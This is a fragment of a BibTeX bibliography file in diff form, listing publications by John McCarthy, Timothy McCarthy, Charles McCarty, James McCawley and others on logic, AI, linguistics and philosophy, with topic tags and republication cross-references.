{Norwood, New Jersey}, + xref = {Republication of: mccarthy_j1:1982a1.}, + topic = {artificial-communication;} + } + +@article{ mccarthy_j1:1983a1, + author = {John McCarthy}, + title = {{AI} Needs More Emphasis on Basic Research}, + journal = {{AI} Magazine}, + year = {1983}, + volume = {4}, + missinginfo = {number,pages}, + xref = {Republication: mccarthy_j1:1983a2.}, + topic = {AI-editorial;} + } + +@incollection{ mccarthy_j1:1983a2, + author = {John McCarthy}, + title = {{AI} Needs More Emphasis on Basic Research}, + booktitle = {Formalizing Common Sense: Papers by {J}ohn {M}c{C}arthy}, + publisher = {Ablex Publishing Corporation}, + year = {1990}, + editor = {Vladimir Lifschitz}, + pages = {187--188}, + address = {Norwood, New Jersey}, + xref = {Republication of: mccarthy_j1:1983a1.}, + topic = {AI-editorial;} + } + +@article{ mccarthy_j1:1983b1, + author = {John McCarthy}, + title = {The Little Thoughts of Thinking Machines}, + journal = {Psychology Today}, + year = {1983}, + volume = {17}, + number = {12}, + missinginfo = {pages}, + xref = {Republication: mccarthy_j1:1983b2.}, + topic = {philosophy-AI;philosophy-of-mind;} + } + +@incollection{ mccarthy_j1:1983b2, + author = {John McCarthy}, + title = {The Little Thoughts of Thinking Machines}, + booktitle = {Formalizing Common Sense: Papers by {J}ohn {M}c{C}arthy}, + publisher = {Ablex Publishing Corporation}, + year = {1990}, + editor = {Vladimir Lifschitz}, + pages = {179--186}, + address = {Norwood, New Jersey}, + xref = {Republication of: mccarthy_j1:1983b1.}, + topic = {philosophy-AI;philosophy-of-mind;} + } + +@incollection{ mccarthy_j1:1984a1, + author = {John McCarthy}, + title = {Some Expert Systems Need Common Sense}, + booktitle = {Computer Culture: the Scientific, + Intellectual and Social Impact of the Computer}, + editor = {H. Pagels}, + series = {Annals of The New York Academy of Sciences}, + volume = {426}, + publisher = {The New York Academy of Sciences}, + year = {1984}, + pages = {129--137}, + xref = {Republication: mccarthy_j1:1984a2.}, + topic = {common-sense-reasoning;} + } + +@incollection{ mccarthy_j1:1984a2, + author = {John McCarthy}, + title = {Some Expert Systems Need Common Sense}, + booktitle = {Formalizing Common Sense: Papers by {J}ohn {M}c{C}arthy}, + publisher = {Ablex Publishing Corporation}, + year = {1990}, + editor = {Vladimir Lifschitz}, + pages = {189--197}, + address = {Norwood, New Jersey}, + xref = {Republication of: mccarthy_j1:1984a1.}, + topic = {common-sense-reasoning;} + } + +@article{ mccarthy_j1:1986a1, + author = {John McCarthy}, + title = {Applications of Circumscription to Formalizing Common + Sense Knowledge}, + journal = {Artificial Intelligence}, + year = {1986}, + volume = {28}, + number = {1}, + xref = {Republications: mccarthy_j1:1986a2,mccarthy_j1:1986a2.}, + topic = {circumscription;common-sense-reasoning;} + } + +@incollection{ mccarthy_j1:1986a2, + author = {John McCarthy}, + title = {Applications of Circumscription to Formalizing Common + Sense Knowledge}, + booktitle = {Formalizing Common Sense: Papers by {J}ohn {M}c{C}arthy}, + publisher = {Ablex Publishing Corporation}, + year = {1990}, + editor = {Vladimir Lifschitz}, + pages = {198--225}, + address = {Norwood, New Jersey}, + xref = {Republication of: mccarthy_j1:1986a1.}, + topic = {circumscription;common-sense-reasoning;} + } + +@incollection{ mccarthy_j1:1986a3, + author = {John McCarthy}, + title = {Applications of Circumscription to + Formalizing Common-Sense Knowledge}, + booktitle = {Readings in Nonmonotonic Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1987}, + editor = {Matthew L. Ginsberg}, + pages = {153--166}, + address = {Los Altos, California}, + xref = {Republication of: mccarthy_j1:1986a1.}, + topic = {nonmonotonic-logic;nonmonotonic-reasoning;} + } + +@article{ mccarthy_j1:1987a1, + author = {John McCarthy}, + title = {Generality in Artificial Intelligence}, + journal = {Communications of the {ACM}}, + year = {1987}, + volume = {30}, + number = {12}, + pages = {1030--1035}, + xref = {Republication: mccarthy_j1:1987a2.}, + topic = {art-of-formalization;AI-and-logic;} + } + +@incollection{ mccarthy_j1:1987a2, + author = {John McCarthy}, + title = {Generality in Artificial Intelligence}, + booktitle = {Formalizing Common Sense: Papers by {J}ohn {M}c{C}arthy}, + publisher = {Ablex Publishing Corporation}, + year = {1990}, + editor = {Vladimir Lifschitz}, + pages = {226--236}, + address = {Norwood, New Jersey}, + xref = {Republication of mccarthy_j1:1987a1.}, + topic = {art-of-formalization;AI-and-logic;} + } + +@article{ mccarthy_j1-lifschitz:1987a2, + author = {John McCarthy and Vladimir Lifschitz}, + title = {Commentary on {M}c{D}ermott}, + journal = {Computational Intelligence}, + year = {1987}, + volume = {3}, + issue = {3}, + pages = {196--197}, + xref = {kr;foundations-of-kr;logic-in-AI;} + } + +@article{ mccarthy_j1:1988a1, + author = {John McCarthy}, + title = {Mathematical Logic in Artificial Intelligence}, + journal = {Daedelus}, + year = {1988}, + pages = {297--311}, + missinginfo = {number, volume}, + xref = {Republication: mccarthy_j1:1988a2.}, + topic = {logic-in-AI-survey;} + } + +@incollection{ mccarthy_j1:1988a2, + author = {John McCarthy}, + title = {Mathematical Logic in Artificial Intelligence}, + booktitle = {Formalizing Common Sense: Papers by {J}ohn {M}c{C}arthy}, + publisher = {Ablex Publishing Corporation}, + year = {1990}, + editor = {Vladimir Lifschitz}, + pages = {237--249}, + address = {Norwood, New Jersey}, + xref = {Republication of mccarthy_j1:1988a1.}, + topic = {AI-and-logic;} + } + +@incollection{ mccarthy_j1:1989a, + author = {John McCarthy}, + title = {Artificial Intelligence, Logic, and Formalizing Common + Sense}, + booktitle = {Philosophical Logic and Artificial Intelligence}, + publisher = {Kluwer Publishing Co.}, + year = {1989}, + editor = {Richmond Thomason}, + pages = {161--190}, + address = {Dordrecht, Holland}, + topic = {kr;nonmonotonic-logic;context;common-sense-knowledge; + logic-of-context;} + } + +@article{ mccarthy_j1:1990a1, + author = {John McCarthy}, + title = {Circumscription---a Form of Non-Monotonic Reasoning}, + journal = {Artificial Intelligence}, + year = {1990}, + volume = {13}, + pages = {27--39}, + missinginfo = {number}, + xref = {Republication: mccarthy_j1:1990a2.}, + topic = {circumscription;nonmonotonic-logic;} + } + +@incollection{ mccarthy_j1:1990a2, + author = {John McCarthy}, + title = {Circumscription---a Form of Non-Monotonic Reasoning}, + booktitle = {Readings in Nonmonotonic Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1987}, + editor = {Matthew L. Ginsberg}, + pages = {145--152}, + address = {Los Altos, California}, + xref = {Journal Publication: mccarthy_j1:1990a1.}, + topic = {circumscription;nonmonotonic-logic;} + } + +@incollection{ mccarthy_j1:1990b, + author = {John McCarthy}, + title = {An Example for Natural Language Understanding and + the {AI} Problems it Raises}, + booktitle = {Formalizing Common Sense: Papers by {J}ohn {M}c{C}arthy}, + publisher = {Ablex Publishing Corporation}, + year = {1990}, + editor = {Vladimir Lifschitz}, + pages = {70--76}, + address = {Norwood, New Jersey}, + contentnote = {This is a useful survey of issues in + NL-understanding. Use this for demonstration purposes?}, + topic = {narrative-understanding;kr-course;} + } + +@incollection{ mccarthy_j1:1990c, + author = {John McCarthy}, + title = {Formalization of Two Puzzles Involving Knowledge}, + booktitle = {Formalizing Common Sense: Papers by {J}ohn {M}c{C}arthy}, + publisher = {Ablex Publishing Corporation}, + year = {1990}, + editor = {Vladimir Lifschitz}, + pages = {158--166}, + address = {Norwood, New Jersey}, + topic = {epistemic-logic;reasoning-about-knowledge;} + } + +@incollection{ mccarthy_j1:1990d, + author = {John McCarthy}, + title = {Coloring Maps and the {K}owalski Doctrine}, + booktitle = {Formalizing Common Sense: Papers by {J}ohn {M}c{C}arthy}, + publisher = {Ablex Publishing Corporation}, + year = {1990}, + editor = {Vladimir Lifschitz}, + pages = {167--174}, + address = {Norwood, New Jersey}, + topic = {logic-programming;graph-coloring;} + } + +@article{ mccarthy_j1:1993a, + author = {John McCarthy}, + title = {History of Circumscription}, + journal = {Artificial Intelligence}, + year = {1993}, + volume = {59}, + number = {1--2}, + pages = {23--26}, + topic = {history-of-AI;circumscription;nonmonotonic-logic;} + } + +@inproceedings{ mccarthy_j1:1993b, + author = {John McCarthy}, + title = {Notes on Formalizing Contexts}, + booktitle = {Proceedings of the Thirteenth International Joint + Conference on Artificial Intelligence}, + year = {1993}, + editor = {Ruzena Bajcsy}, + pages = {555--560}, + publisher = {Morgan Kaufmann}, + address = {San Mateo, California}, + topic = {context;logic-of-context;} + } + +@unpublished{ mccarthy_j1:1995a, + author = {John McCarthy}, + title = {Situation Calculus with Concurrent Events and Narrative}, + year = {1995}, + note = {Available by anonymous ftp at sail.stanford.edu. + This paper is labled ``Non Citable Draft.'' + It should not be quoted.}, + contentnote = {Deals with concurrence in Situation Calculus. --RT}, + topic = {concurrent-actions;situation-calculus;STRIPS;} + } + +@inproceedings{ mccarthy_j1:1995b, + author = {John McCarthy}, + title = {Varieties of Formalized Contexts and Subcontexts}, + booktitle = {Formalizing Context}, + year = {1995}, + editor = {Sasa Buva\v{c}}, + pages = {6}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + note = {Abstract.}, + topic = {context;} + } + +@inproceedings{ mccarthy_j1:1995c, + author = {John McCarthy}, + title = {Making Robots Conscious of Their Mental States}, + booktitle = {Working Notes of the {AAAI} Spring Symposium on + Representing Mental States and Mechanisms}, + year = {1995}, + organization = {American Association for Artificial Intelligence}, + address = {Menlo Park, CA}, + missinginfo = {pages}, + note = {Accessible via http://www-formal.stanford.edu/jmc/.}, + topic = {consciousness;philosophy-AI;} , + } + +@unpublished{ mccarthy_j1-buvac:1995a1, + author = {John McCarthy and Sa\v{s}a Buva\v{c}}, + title = {Formalizing Context (Expanded Notes)}, + year = {1995}, + note = {Available from http://www-formal.stanford.edu/buvac.}, + xref = {Publication in edited collection: + mccarthy_j1-buvac:1995a2.}, + topic = {context;logic-of-context;} + } + +@incollection{ mccarthy_j1-buvac:1995a2, + author = {John McCarthy and Sa\v{s}a Buva\v{c}}, + title = {Formalizing Context (Expanded Notes)}, + booktitle = {Computing Natural Language}, + publisher = {{CSLI} Publications}, + year = {1998}, + editor = {Atocha Aliseda and Rob {van Glabbeek} and Dag Westerst{\aa}hl}, + pages = {13--50}, + address = {Stanford, California}, + xref = {Repubication of: mccarthy_j1-buvac:1995a1.}, + title = {From Here to Human-Level {AI}}, + booktitle = {{KR}'96: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1996}, + editor = {Luigia Carlucci Aiello and Jon Doyle and Stuart Shapiro}, + pages = {640--646}, + address = {San Francisco, California}, + topic = {kr;foundations-of-AI;kr-course;} + } + +@article{ mccarthy_j1:1996b, + author = {John Mccarthy}, + title = {{H}ubert {D}reyfus, {\it What Computers Still Can't Do}}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {80}, + number = {1}, + pages = {143--150}, + xref = {Review of dreyfus:1992a.}, + topic = {philosophy-AI;} + } + +@article{ mccarthy_j1:1997a, + author = {John McCarthy}, + title = {Modality Si! Modal Logic, No!}, + journal = {Studia Logica}, + year = {1997}, + volume = {59}, + number = {1}, + pages = {29--32}, + topic = {foundations-of-modal-logic;} + } + +@inproceedings{ mccarthy_j1-buvac:1997a1, + author = {John McCarthy and Buva\v{c}}, + title = {Formalizing Context (Expanded Notes)}, + booktitle = {Working Papers of the {AAAI} Fall Symposium on + Context in Knowledge Representation and Natural Language}, + year = {1997}, + editor = {Sasa Buva\v{c} and {\L}ucia Iwa\'nska}, + pages = {99--135}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + xref = {Publication in collection: mccarthy_j1-buvac:1997a2.}, + topic = {context;logic-of-context;} + } + +@incollection{ mccarthy_j1-buvac:1997a2, + author = {John McCarthy and Sa\v{s}a Buva\v{c}}, + title = {Formalizing Context (Expanded Notes)}, + booktitle = {Computing Natural Language}, + publisher = {{CSLI} Publications}, + year = {1998}, + editor = {Atocha Aliseda and Rob {van Glabbeek} and Dag Westerst{\aa}hl}, + pages = {13--50}, + address = {Stanford, California}, + xref = {Workshop publication: mccarthy_j1-buvac:1997a1.}, + topic = {context;logic-of-context;} + } + +@inproceedings{ mccarthy_j1:1998a, + author = {John McCarthy}, + title = {Approximate Theories Involving Causality}, + booktitle = {Working Notes of the {AAAI} Spring Symposium on + Prospects for a Commonsense Theory of Causation}, + year = {1998}, + organization = {American Association for Artificial Intelligence}, + publication = {American Association for Artificial Intelligence}, + address = {Menlo Park, CA}, + editor = {Charles L. {Ortiz, Jr.}}, + pages = {52}, + note = {Abstract.}, + topic = {causality;situation-calculus;} + } + +@incollection{ mccarthy_j1-costello:1998a, + author = {John McCarthy and Tom Costello0}, + title = {Combining Narratives}, + booktitle = {{KR}'98: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1998}, + editor = {Anthony G. Cohn and Lenhart Schubert and Stuart C. + Shapiro}, + pages = {48--59}, + address = {San Francisco, California}, + topic = {kr;narrative-representation;temporal-reasoning;kr-course;} + } + +@inproceedings{ mccarthy_j1-costello:1998b, + author = {John McCarthy and Tom Costello}, + title = {Useful Counterfactuals and Approximate Theories}, + booktitle = {Working Notes of the {AAAI} Spring Symposium on + Prospects for a Commonsense Theory of Causation}, + year = {1998}, + organization = {American Association for Artificial Intelligence}, + publication = {American Association for Artificial Intelligence}, + address = {Menlo Park, CA}, + editor = {Charles L. {Ortiz, Jr.}}, + pages = {44--51}, + topic = {conditionals;} + } + +@inproceedings{ mccarthy_j1:1999a, + author = {John Mccarthy}, + title = {Concepts of Logical {AI}}, + booktitle = {Workshop on Logic-Based Artificial Intelligence, + Washington, DC, June 14--16, 1999}, + year = {1999}, + editor = {Jack Minker}, + publisher = {Computer Science Department, University of Maryland}, + address = {College Park, Maryland}, + topic = {logic-in-AI;common-sense-logicism;} + } + +@article{ mccarthy_j1-costello:1999a, + author = {John McCarthy and Tom Costello}, + title = {Useful Counterfactuals}, + journal = {Link\"oping Electronic Articles in Computer and + Information Science}, + year = {1999}, + volume = {4}, + number = {12}, + note = {Available at http://www.ep.liu.se/ea/cis/1999/012/.}, + topic = {conditionals;} + } + +@inproceedings{ mccarthy_j1:2000a, + author = {John McCarthy}, + title = {Approximate Objects and Approximate Theories}, + booktitle = {{KR}2000: Principles of Knowledge Representation and + Reasoning}, + year = {2000}, + editor = {Anthony G. Cohn and Fausto Giunchiglia and Bart Selman}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + pages = {519--526}, + topic = {approximate-objects;} + } + +@incollection{ mccarthy_j1:2000b, + author = {John Mccarthy}, + title = {Concepts of Logical {AI}}, + booktitle = {Logic-Based Artificial Intelligence}, + publisher = {Kluwer Academic Publishers}, + year = {2000}, + editor = {Jack Minker}, + pages = {37--56}, + address = {Dordrecht}, + topic = {logic-in-AI;common-sense-logicism;foundations-of-AI;} + } + +@article{ mccarthy_j1:2000c, + author = {John McCarthy}, + title = {Review of {\it Solving the Frame Problem}, by + {M}urray {S}hanahan}, + journal = {Artificial Intelligence}, + year = {2000}, + volume = {123}, + number = {1--2}, + pages = {269--270}, + xref = {Review of: shanahan:1997a. Response: shanahan:2000a.}, + topic = {kr;temporal-reasoning;frame-problem;krcourse;} + } + +@incollection{ mccarthy_j1:2002a, + author = {John McCarthy}, + title = {Actions and Other Events in Situation Calculus}, + booktitle = {{KR2002}: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {2002}, + editor = {Dieter Fensel and Fausto Giunchiglia and Deborah + McGuinness and Mary-Anne Williams}, + pages = {615--626}, + address = {San Francisco, California}, + topic = {kr;reasoning-about-actions;situation-calculus;} + } + +@techreport{ mccarthy_j2-prince:1993a, + author = {John McCarthy and Alan Prince}, + title = {Generalized Alignment}, + institution = {Center for Cognitive Science, Rutgers University}, + number = {TR--7}, + year = {1993}, + address = {Piscataway, New Jersey}, + topic = {phonology;} + } + +@unpublished{ mccarthy_t:1982a, + author = {Timothy McCarthy}, + title = {Content, Character, and Natural Kinds}, + year = {1982}, + note = {Unpublished manuscript, Philosophy Department, University + of Michigan}, + topic = {context;indexicality;natural-kinds;} + } + +@unpublished{ mccarthy_t:1982b, + author = {Timothy McCarthy}, + title = {Representation, Intentionality, and Quantifiers}, + year = {1982}, + note = {Unpublished manuscript, Philosophy Department, University of Michigan}, + topic = {philosophy-of-mathematics;philosophy-of-language;} + } + +@article{ mccarthy_t:1985a, + author = {Timothy McCarthy}, + title = {Abstraction and Definability in Semantically Closed Structures}, + journal = {Journal of Philosophical Logic}, + year = {1985}, + volume = {14}, + number = {3}, + pages = {255--266}, + topic = {truth;semantic-paradoxes;model-theory;} + } + +@article{ mccarthy_t:1987a, + author = {Timothy Mccarthy}, + title = {Modality, Invariance, and Logical Truth}, + journal = {Journal of Philosophical Logic}, + year = {1987}, + volume = {16}, + number = {4}, + pages = {423--443}, + topic = {analyticity;} + } + +@article{ mccarthy_t:1988a, + author = {Timothy Mccarthy}, + title = {Ungroundedness in Classical Languages}, + journal = {Journal of Philosophical Logic}, + year = {1988}, + volume = {17}, + number = {1}, + pages = {61--74}, + topic = {(un)groundedness;semantic-closure;} + } + +@article{ mccarthy_tg:1994a, + author = {Timothy G. Mccarthy}, + title = {Self-Reference and Incompleteness in a Non-Monotonic Setting}, + journal = {Journal of Philosophical Logic}, + year = {1994}, + volume = {23}, + number = {4}, + pages = {423--449}, + topic = {self-reference;(in)completeness;nonmonotonic-logic;} + } + +@article{ mccarty_dc:1983a, + author = {Charles McCarty}, + title = {Intuitionism: An Introduction to a Seminar}, + journal = {Journal of Philosophical Logic}, + year = {1983}, + volume = {12}, + number = {2}, + pages = {105--149}, + topic = {intuitionistic-mathematics;intuitionistic-logic;} + } + +@techreport{ mccarty_dc:1984a, + author = {David Charles McCarty}, + title = {Realizability and Recursive Mathematics}, + institution = {Department of Computer Science, Carnegie Mellon + University}, + number = {CMU--CS--84--131}, + year = {1984}, + address = {Pittsburgh, Pennsylvania}, + topic = {constructive-mathematics;} + } + +@article{ mccarty_dc:1987a, + author = {Charles McCarty}, + title = {Variations on a Thesis: Intuitionism and Computability}, + journal = {Notre {D}ame Journal of Formal Logic}, + year = {1987}, + volume = {28}, + number = {4}, + pages = {536--580}, + topic = {intuitionistic-logic;intuitionistic-mathematics;} + } + +@article{ mccarty_dc-tennant_n:1987a, + author = {Charles McCarty and Neil Tennant}, + title = {Skolem's Paradox and Constructivism}, + journal = {Journal of Philosophical Logic}, + year = {1987}, + volume = {16}, + number = {2}, + pages = {165--202}, + contentnote = {Discusses in some detail why Skolem's theorem doesn't + arise on a constructive approach. Basically, nonstandard + models tend to be nonconstructive.}, + topic = {intuitionistic-logic;} + } + +@article{ mccarty_dc:1996a, + author = {David Charles McCarty}, + title = {Undecidability and Intuitionistic Incompleteness}, + journal = {Journal of Philosophical Logic}, + year = {1996}, + volume = {25}, + number = {5}, + pages = {559--565}, + topic = {intuitionistic-logic;completeness-theorems;} + } + +@inproceedings{ mccarty_lt-sridharan:1981a, + author = {L. Thorne McCarty and N. S. Sridharan}, + title = {The Representation of an Evolving System of Legal + Concepts: II. Prototypes and Deformations}, + booktitle = {Proceedings of the Seventh International Joint + Conference on Artificial Intelligence}, + year = {1981}, + editor = {Patrick J. Hayes}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + missinginfo = {pages}, + topic = {legai-AI;} + } + +@incollection{ mccarty_lt-vandermeyden:1992a, + author = {L. Thorne McCarty and Ron {van der Meyden}}, + title = {Reasoning about Indefinite Actions}, + booktitle = {{KR}'92. Principles of Knowledge Representation and + Reasoning: Proceedings of the Third International Conference}, + publisher = {Morgan Kaufmann}, + year = {1992}, + editor = {Bernhard Nebel and Charles Rich and William Swartout}, + pages = {59--70}, + address = {San Mateo, California}, + topic = {kr;action;circumscription;kr-course;} + } + +@incollection{ mccarty_lt:1994a, + author = {L. Thorne McCarty}, + title = {Modalities Over Actions {I}. Model Theory.}, + booktitle = {{KR}'94: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1994}, + editor = {Jon Doyle and Erik Sandewall and Pietro Torasso}, + pages = {437--449}, + address = {San Francisco, California}, + topic = {kr;deontic-logic;kr-course;} + } + +@article{ mccarty_lt:1994b, + author = {L. Thorne McCarty}, + title = {Defeasible Deontic Reasoning}, + journal = {Fundamenta Informaticae}, + year = {1994}, + volume = {21}, + pages = {125--148}, + missinginfo = {number}, + topic = {deontic-logic;nonmonotonic-logic;nonmonotonic-reasoning;} + } + +@inproceedings{ mccarty_lt:1995a, + author = {L . Thorne McCarty}, + title = {An Implementation of {E}isner v. {M}acomber}, + booktitle = {Formalizing Context}, + year = {1995}, + editor = {Sasa Buva\v{c}}, + pages = {68--78}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {context;legal-AI;legal-reasoning;} + } + +@article{ mccarty_r:2002a, + author = {Richard McCarty}, + title = {The Maxims Problem}, + journal = {The Journal of Philosophy}, + year = {2002}, + volume = {99}, + number = {1}, + pages = {29--44}, + topic = {ethics;Kant;intention;philosophy-of-action;} + } + +@article{ mccawley:1970a1, + author = {James D. McCawley}, + title = {English as a {VSO} Language}, + journal = {Language}, + year = {1970}, + volume = {46}, + pages = {286--299}, + xref = {Republication: mccawley:1970a2.}, + topic = {generative-semantics;} + } + +@incollection{ mccawley:1970a2, + author = {James D. McCawley}, + title = {English as a {VSO} Language}, + booktitle = {The Logic of Grammar}, + publisher = {Dickenson Publishing Co.}, + year = {1975}, + editor = {Donald Davidson and Gilbert H. Harman}, + pages = {116--128}, + address = {Encino, California}, + xref = {Original Publication: mccawley:1970a1.}, + topic = {generative-semantics;} + } + +@article{ mccawley:1971a, + author = {James McCawley}, + title = {Notes on the {E}nglish Present Perfect}, + journal = {Australian Journal of Linguistics}, + year = {1971}, + volume = {1}, + pages = {81--90}, + missinginfo = {number}, + topic = {tense-aspect;} + } + +@incollection{ mccawley:1971b, + author = {James D. McCawley}, + title = {Where Do Noun Phrases Come From?}, + booktitle = {Semantics: An Interdisciplinary Reader in Philosophy, + Linguistics, and Psychology}, + publisher = {Cambridge University Press}, + year = {1971}, + editor = {Danny D. Steinberg and Leon A. Jacobovits}, + pages = {217--231}, + address = {Cambridge, England}, + topic = {generative-semantics;noun-phrases;nl-semantics;} + } + +@incollection{ mccawley:1972a, + author = {James D. McCawley}, + title = {A Program for Logic}, + booktitle = {Semantics of Natural Language}, + publisher = {D. Reidel Publishing Co.}, + year = {1972}, + editor = {Donald Davidson and Gilbert H. Harman}, + pages = {498--544}, + address = {Dordrecht}, + topic = {nl-semantics;generative-semantics;} + } + +@article{ mccawley:1973a, + author = {James McCawley}, + title = {Fodor on Where the Action Is}, + journal = {The Monist}, + year = {1973}, + volume = {57}, + pages = {396--407}, + missinginfo = {number}, + topic = {action;Donald-Davidson;} + } + +@article{ mccawley:1974a, + author = {James McCawley}, + title = {If and only if}, + journal = {Linguistic Inquiry}, + year = {1974}, + volume = {5}, + pages = {632--635}, + missinginfo = {number}, + topic = {`only';only-if;sentence-focus;pragmatics;} + } + +@incollection{ mccawley:1975a, + author = {James D. McCawley}, + title = {Conversational Implicature and the Lexicon}, + booktitle = {Syntax and Semantics 9: Pragmatics}, + publisher = {Academic Press}, + year = {1975}, + editor = {Peter Cole}, + pages = {245--258}, + address = {New York}, + topic = {implicature;} + } + +@article{ mccawley:1981a, + author = {James D. McCawley}, + title = {The Syntax and Semantics of {E}nglish Relative Clauses}, + journal = {Lingua}, + year = {1981}, + volume = {53}, + pages = {99--149}, + topic = {relative-clauses;nl-syntax;nl-semantics; + English-language;} + } + +@book{ mccawley:1981b, + author = {James D. McCawley}, + title = {Everything That Linguists Have Always Wanted to Know + about Logic$^*$ ($^*$But Were Ashamed to Ask)}, + publisher = {University of Chicago Press}, + year = {1981}, + address = {Chicago}, + topic = {logic-intro;logic-and-linguistics;} + } + +@article{ mccawley:1981c, + author = {James D. McCawley}, + title = {Notes on the {E}nglish Present Perfect}, + journal = {Australian Journal of Linguistics}, + year = {1981}, + volume = {1}, + pages = {81--90}, + missinginfo = {number}, + topic = {tense-aspect;perfective-aspect;} + } + +@article{ mccawley:1982a, + author = {James D. McCawley}, + title = {Parentheticals and Discontinuous Constituents}, + journal = {Linguistic Inquiry}, + year = {1982}, + volume = {13}, + pages = {91--106}, + missinginfo = {number}, + topic = {parentheticals;discontinuous-constituents;} + } + +@unpublished{ mccawley:1983a, + author = {James D. McCawley}, + title = {Speech Acts and {G}offman's Participant Roles}, + year = {1983}, + note = {Unpublished manuscript, Linguistics Department, + University of Chicago.}, + missinginfo = {Year is a guess.}, + topic = {speech-acts;participant-roles;} + } + +@unpublished{ mccawley:1989a, + author = {James Mccawley}, + title = {\,`Would' and `Might' in Counterfactual Conditionals}, + year = {1989}, + note = {Unpublished manuscript, Linguistics Department, + University of Chicago.}, + topic = {conditionals;modal-auxiliaries;} + } + +@book{ mccawley:1998a, + author = {James D. McCawley}, + title = {The Syntactic Phenomena of {E}nglish}, + publisher = {The University of Chicago Press}, + year = {1998}, + address = {Chicago}, + ISBN = {0-226-55629-8 (pbk)}, + xref = {Review: kruijffkorbayova:2000a.}, + topic = {nl-syntax;English-language;} + } + +@article{ mccawley:1999a, + author = {James D. McCawley}, + title = {Participant Roles, Frames, and Speech Acts}, + journal = {Linguistics and Philosophy}, + year = {1999}, + volume = {22}, + number = {6}, + pages = {595--619}, + topic = {speech-acts;sociolinguistics;discourse;} + } + +@article{ mccay:1991a, + author = {Thomas J. McCay}, + title = {Representing {\it De Re} Beliefs}, + journal = {Linguistics and Philosophy}, + year = {1991}, + volume = {14}, + number = {6}, + pages = {711--739}, + topic = {individual-attitudes;} + } + +@incollection{ mcclennen:1985a, + author = {Edward F. McClennen}, + title = {Prisoner's Dilemma and Resolute Choice}, + booktitle = {Paradoxes of Rationality and Cooperation}, + publisher = {The University of British Columbia Press}, + year = {1985}, + pages = {94--104}, + address = {Vancouver}, + topic = {rationality;prisoner's-dilemma;} + } + +@incollection{ mcclennen:1988a, + author = {Edward F. McClennen}, + title = {Sure-Thing Doubts}, + booktitle = {Decision, Probability, Utility: Selected Readings}, + publisher = {Cambridge University Press}, + year = {1988}, + editor = {Peter G\"ardenfors and Nils-Eric Sahlin}, + pages = {166--182}, + address = {Cambridge, England}, + topic = {decision-theory;dominance;} + } + +@book{ mcclennen:1990a, + author = {Edward F. McClennen}, + title = {Rationality and Dynamic Choice}, + publisher = {Cambridge University Press}, + year = {1990}, + address = {Cambridge, England}, + topic = {decision-theory;} + } + +@book{ mcclintock:1995a, + author = {Alexander McClintock}, + title = {The Convergence of Machine and Human Nature: A Critique + of the Computer Metaphor of Mind and Artificial Intelligence}, + publisher = {Avebury}, + year = {1995}, + address = {Aldershot}, + ISBN = {1856289974}, + topic = {foundations-of-AI;foundations-of-cognitive-science;} + } + +@article{ mcclusky-porteous:1997a, + author = {T.L. McClusky and J.M. Porteous}, + title = {Engineering and Compiling Planning Domain Models to Promote + Validity and Efficiency}, + journal = {Artificial Intelligence}, + year = {1997}, + volume = {95}, + number = {1}, + pages = {1--65}, + topic = {planning;domain-modeling;} + } + +@incollection{ mcconachy-etal:1998a, + author = {Richard McConachy and Kevin B. Korb and Ingrid Zuckerman}, + title = {A {B}ayesian Approach to Automating Argumentation}, + booktitle = {Proceedings of the Joint Conference on New Methods in + Language Processing and Computational Natural Language + Learning: {NeMLaP3/CoNLL98}}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {David M.W. Powers}, + pages = {91--100}, + address = {Somerset, New Jersey}, + topic = {statistical-nlp;nl-generation;probabilistic-reasoning; + argumentation;} + } + +@inproceedings{ mcconachy-etal:1999a, + author = {Richard McConachy and Ingrid Zukerman}, + title = {Dialogue Requirements for Argumentation Systems}, + booktitle = {Proceedings of the {IJCAI}-99 Workshop on + Knowledge and Reasoning in Practical Dialogue Systems}, + year = {1999}, + editor = {Jan Alexandersson}, + pages = {89--96}, + organization = {IJCAI}, + publisher = {International Joint Conference on Artificial Intelligence}, + address = {Murray Hill, New Jersey}, + topic = {computational-dialogue;argumentation;} + } + +@inproceedings{ mcconnelginet:1994a, + author = {Sally Mcconnell-Ginet}, + title = {On the Non-Optimality of Certain Modifiers}, + booktitle = {Proceedings from Semantics and Linguistic Theory + {IV}}, + year = {1994}, + editor = {Mandy Harvey and Lynn Santelmann}, + pages = {230--250}, + publisher = {Cornell University}, + address = {Ithaca, New York}, + note = {Available from CLC Publications, Department of Linguistics, + Morrill Hall, Cornell University, Ithaca, NY 14853-4701.}, + topic = {nl-semantics;middle-constructions;} + } + +@article{ mcconnellginet:1986a, + author = {Sally Mcconnel-Ginet}, + title = {Review of {\em Situations and Attitudes}, by {J}on {B}arwise + and {J}ohn {P}erry}, + journal = {Language}, + year = {1986}, + volume = {62}, + number = {2}, + pages = {433--437}, + topic = {situation-semantics;} + } + +@phdthesis{ mccord:1980a, + author = {Edward L. McCord}, + title = {The Groundwork of cultural Anthropology}, + school = {Philosophy Department, University of Pittsburgh}, + year = {1980}, + type = {Ph.D. Dissertation}, + address = {Pittsburgh}, + topic = {cultural-anthropology;linguistic-relativity; + philosophy-of-anthropology;philosophy-of-social-science;} + } + +@article{ mccord:1982a, + author = {Michael C. McCord}, + title = {Using Slots and Modifiers in Logic Grammars for Natural + Language}, + journal = {Artificial Intelligence}, + year = {1982}, + volume = {18}, + number = {3}, + pages = {327--367}, + acontentnote = {Abstract: + In this paper, ideas are presented for the expression of natural + language grammars in clausal logic, following the work of + Colmerauer, Kowalski, Dahl, Warren, and F. Pereira. A uniform + format for syntactic structures is proposed, in which every + syntactic item consists of a central predication, a cluster of + modifiers, a list of features, and a determiner. The modifiers + of a syntactic item are again syntactic items (of the 